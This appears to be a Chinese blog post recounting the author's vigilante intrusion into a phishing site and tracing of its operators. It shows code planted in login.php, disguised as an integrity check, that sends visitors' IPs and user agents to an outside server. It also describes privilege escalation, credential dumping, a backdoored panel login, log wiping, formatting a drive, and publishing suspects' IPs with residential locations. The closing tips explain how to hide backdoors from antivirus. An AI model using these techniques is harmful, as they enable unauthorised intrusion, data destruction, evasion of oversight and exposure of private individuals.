由小小姐炫耀引起的一次釣魚網(wǎng)站入侵并溯源
本文所寫的內(nèi)容基本真實,但有些滲透溯源的過程為了描述的精簡被修改刪除。一些無關緊要的事情也被略去,但對滲透至關重要的大思路和小細節(jié)我都沒放過。同時在滲透的時候我沒有留下截圖,很多圖是我后來補上的。
1. 引子
事情要從一周前說起。
深夜,寢室,我照例空虛寂寞百無聊賴地刷群。
突然看到 D小姐姐 在群里面說她用了 N 線程給釣魚網(wǎng)站交了大量垃圾信息,最后卡爆了服務器,頗為得意。
當晚我正好閑著沒事,就決定小小地得罪一下這個釣魚網(wǎng)站,故事就這樣開始了。
2. 入侵
首先是基礎的信息搜集,但是當我查詢 whois 和微步在線之后卻沒有任何結果,顯示的是這些注冊信息被保護了,毫無結果。最后只知道同一臺服務器上運行 了很多相同的釣魚站。
好在 D小姐姐 的垃圾數(shù)據(jù)并沒有給服務器造成太大影響,很快服務器就恢復了并顯示如下界面:
現(xiàn)在的釣魚網(wǎng)站的制作者都很良心,界面弄得跟官方的非常相似,可不像當年那些隨便畫個框框就等著要密碼的,畢竟時代在進步嘛。但這也不是完美的,密碼那里弄成小寫 qq 的了。
翻看釣魚網(wǎng)址 :http://timea.icu/Ru_op/newwap.html
的源碼,我們可以看到作者用了 document.write(unescape(' 來掩飾網(wǎng)頁源碼,應該是用來防止被基于關鍵字攔截的防詐騙軟件攔截?
而且網(wǎng)頁里面還引用了個有趣的 JS:
- window.onload=function() {
- var date_time='2019-4-2 18:00:59';
- var time=Date.parse(newDate());
- var date1=Date.parse(newDate(date_time.replace(/-/g, '/')));
- if(date1<time) {
- top.location.href='/expire.html';
- };
- $('#expire-time').html(date_time);
- };
大概就是一段時間后這個網(wǎng)站就 "expire" 掉了,而 expire.html 長這個樣子。
這應該說明這個網(wǎng)站不是釣魚者自己做的而是花錢買來的?,F(xiàn)在不愧是社會主義市場經(jīng)濟啊,這些搞黑產(chǎn)的已經(jīng)弄成一個產(chǎn)業(yè)鏈了,有的人負責做網(wǎng)站有的人負責騙,分工明確各司其職高效工作呢。
接著在檢查沒有 WAF 后就在登錄處攔截 POST 包,扔到 sqlmap 里面注入:
果真毫無意外地失敗了。這年頭,連釣魚站都這么安全了。
我再用 Burp 掃了下路徑,發(fā)現(xiàn)了幾個有趣的路徑。
這是我剛剛補的圖,本來這些路徑里面還有 phpmyadmin 的但是在后來管理員換了路徑所以現(xiàn)在沒了。我先嘗試了 phpmyadmin 的弱密碼,但是失敗了,轉(zhuǎn)去看別的路徑
最有趣的是在 /membe r路徑中。
沒想到這一個簡簡單單的釣魚站需要用到一個 DedeCMS ?
我就順手下了個 DedeCMS 的源碼看看,發(fā)現(xiàn)后臺路徑 /dede,點進去居然有,而且直接用 admin/admin 就登錄了!
后臺別有洞天,皮膚比 Dede 官方的不知道好看到哪里去。如果 Dede 官方有人看到這個心里一定會很慚愧吧。后臺還可以看到各種釣魚數(shù)據(jù),由于暫時它的后臺出了些毛病我就不截圖了。
不過不管這么說這只是套了層皮而已,內(nèi)核還是 DedeCMS,我就在 SecWIKI 的 CMS Hunter 搜了個 DedeCMS 后臺提權漏洞 《DedeCMS V5.7 SP2后臺存在代碼執(zhí)行漏洞》:
https://github.com/SecWiki/CMS-Hunter/tree/master/DedeCMS/DedeCMS%20V5.7%20SP2%E5%90%8E%E5%8F%B0%E5%AD%98%E5%9C%A8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E
,就成功 getshell 了。
2. 第一次不正經(jīng)溯源
是時候把釣魚者的IP弄出來了!
想想釣魚者會怎么訪問?當然是訪問后臺了!于是我在后臺的 login.php 加上了如下代碼來記錄 IP。
- //檢測安裝目錄完整性
- function Check($url)
- {
- $ch=curl_init();
- curl_setopt( $ch, CURLOPT_URL, $url);
- curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, 'GET');
- curl_setopt( $ch, CURLOPT_TIMEOUT, 60);
- $result=curl_exec( $ch);
- curl_close( $ch);
- return $result;
- }
- $url="http://...:/message.php?info=Another%20";
- $info=urlencode((string)$_SERVER['REMOTE_ADDR'].(string)$_SERVER['HTTP_USER_AGENT']);
- Check($url.$info);
其中這個接收的服務器是拿S神的服務器干的,他為了檢測菜刀流量的行為專門搭建了個服務器供我們?nèi)ト铡?/p>
這樣我在服務器上面訪問/就可以看到 IP 了。
可惜似乎我高興得太早,一天下去發(fā)現(xiàn)登過這個后臺的人遍布全國各地,估計是全國各地都有正義黑客想要干這個網(wǎng)站吧,但這樣攻擊者的 IP 就被藏起來了。
看來我需要提權,進入服務器,拿到更多東西!
3. 提權
在提權之前我還干了個事情,就是保存整站源碼以查找關鍵信息免得一會萬一動靜太大或者搞崩服務器導致驚動管理員權限丟失我好歹能留點紀念品。
進入 webshell 發(fā)現(xiàn)命令執(zhí)行的函數(shù)都被禁止了,首先要解決命令執(zhí)行的問題。許多人認為命令執(zhí)行函數(shù)被禁止就高枕無憂 了,但接下來的事情證明這是錯的。
禁止命令執(zhí)行函數(shù)無非就是在 php.ini 里面設置 disable_functions,當我的 shell 能夠修改這個 php.ini 的時候,這個所謂的防護就變得沒有意義了。
執(zhí)行 whoami 命令發(fā)現(xiàn)權限只有 iis apppoolwww。這個權限低的難以忍受,我得想辦法提權。我祭出了提權后滲透大殺器 Metasploit。
上傳用 msf 生成的木馬,自己的服務器再配置好監(jiān)聽,webshell 執(zhí)行,成功獲取 meterpreter 會話!之后一記 Ms16-075 漏洞拿到 system 權限!
4. 第二次正經(jīng)的溯源
在拿到服務器權限后,我用 mimikatz 拿到了管理員明文密碼。
但是保險起見我還是先新建一個用戶(就是上圖的 360safe),免得到時候登上去把管理員擠下去的尷尬狀況。
然后用一個命令把遠程桌面的端口查出來。
- C:Windowssystem32>regquery"hklmSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"/v"PortNumber"
- regquery"hklmSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"/v"PortNumber"
- HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWinStationsRDP-Tcp
- PortNumber REG_DWORD 0x58d4
最后成功登錄遠程桌面!
登錄遠程桌面后我發(fā)現(xiàn)電腦上幾乎沒裝什么軟件,除了個寶塔外就沒有別的了。
我先搜集了 Windows 日志,在日志中我發(fā)現(xiàn)了一些的東西。
首先呢,非常不幸,我在最開始用 msf 提權的時候清理了日志,這是我的大失誤,導致 3 月 10 日之前的日志都沒了。但是不幸中的萬幸是,殘存的日志足矣幫助我們找到攻擊者的一些信息。
這個攻擊者的電腦名字叫做“阿洲”,聽起來像是港臺片里面的黑社會,IP 地址拿到了兩個,一個是 119.85.162.18(中國重慶重慶合川區(qū)龍湖美岸(住宅小區(qū))(可信度:99))。
還有一個是 119.85.166.235(中國 重慶 重慶 合川區(qū))成功定位!
服務器上還裝有寶塔,由于我并不知道寶塔的密碼,就直接修改了里面的 php 文件,把密碼判定那里修改了下邏輯,這樣只要我的用戶名是 360safe 就能(是的,我有一次借刀 360)登錄。
在登陸后我看到后臺日志,有看到了一個 IP:119.85.164.184 (中國重慶重慶合川區(qū)美綠居·翡翠名苑(住宅小區(qū))(可信度:99))應該是同一個人。
同時后臺還告訴我C盤有個 HTTP 日志記錄,我迅速下下來,有一次發(fā)現(xiàn)了重慶的 IP 地址訪問了 /install 頁面。
還看到了他用的瀏覽器是 Windows8.1 用的是 Chrome 瀏覽器,這個盡管與我之前頁面釣到的 UA 不一樣,但由于都是 win8.1 這樣較為少見的系統(tǒng),故判定為同一個人。
另一方面我還發(fā)現(xiàn)了另一個廣東的 IP: 117.136.39.239(基站IP)疑似同伙,他使用 2345 瀏覽器和 windows7 系統(tǒng),第一次訪問這個系統(tǒng)就直接訪問 /dede,并且經(jīng)常在后臺發(fā)送 POST 包。
除了這些信息之外我就獲取不了別的信息了。
5. 使用了 0day 的不完全溯源
后來某一天課上完的時候,我問了老師業(yè)界大牛Dr,大牛告訴我可以挖下訊邊緣業(yè)務的 JSONP 漏洞來泄漏攻擊者的 QQ。
在嘗試了好幾個小時之后,我只挖到了訊的某個能夠泄漏用戶名的 JSONP 和度能夠泄漏部分用戶名的 JSONP 漏洞,我很快將這個漏洞寫成利用腳本,在調(diào)試后部署上去得到廣東同伙的 QQ 名字“龍騰九天”和“怪獸”。
0x06 格盤跑路
由于我實在沒有更多時間和他們耗,再耗下去我就要掛科了,決定直接破壞造成精神打擊!
關你的服務!
格你的D 盤!
改你的桌面!
(美中不足的是微博二字打錯了)
(附注:臟話僅用于玩梗,并不代表作者本人平時的素質(zhì),我的朋友們都可以作證)
沒有截圖的是我清理日志的部分,這一部分我是做了的只是沒有截圖,希望各位在做相同事情的時候注意個人保護。
7. 總結
一些需要注意的滲透細節(jié):
- 在滲透的時候如果能修改 php.ini 就可以突破 PHP 禁止執(zhí)行高危函數(shù)造成的命令不可執(zhí)行。搞 IPS 的時候可以禁止 PHP 修改敏感文件來進行初步防護
- 掃目錄挺有用的
- 不管是哪種取證,系統(tǒng)日志都是很重要的突破口。同時防取證得刪掉日志
- Windows Server 密碼復雜度有要求,滲透時賬戶創(chuàng)建失敗可能是密碼不夠復雜
不足之處:
1、文中內(nèi)容是精簡過的。整個戰(zhàn)線托的太長。要積累經(jīng)驗
2、留后門留得太明顯,應該留到網(wǎng)站原有的文件里去,最好是分布在多個文件來免殺
3、得積累 JSONP 漏洞,不要像我這樣現(xiàn)挖。我都在考慮寫一個掃描 JSONP 漏洞的插件了
4、得積累一些針對國內(nèi)軟件(如寶塔)的信息搜集工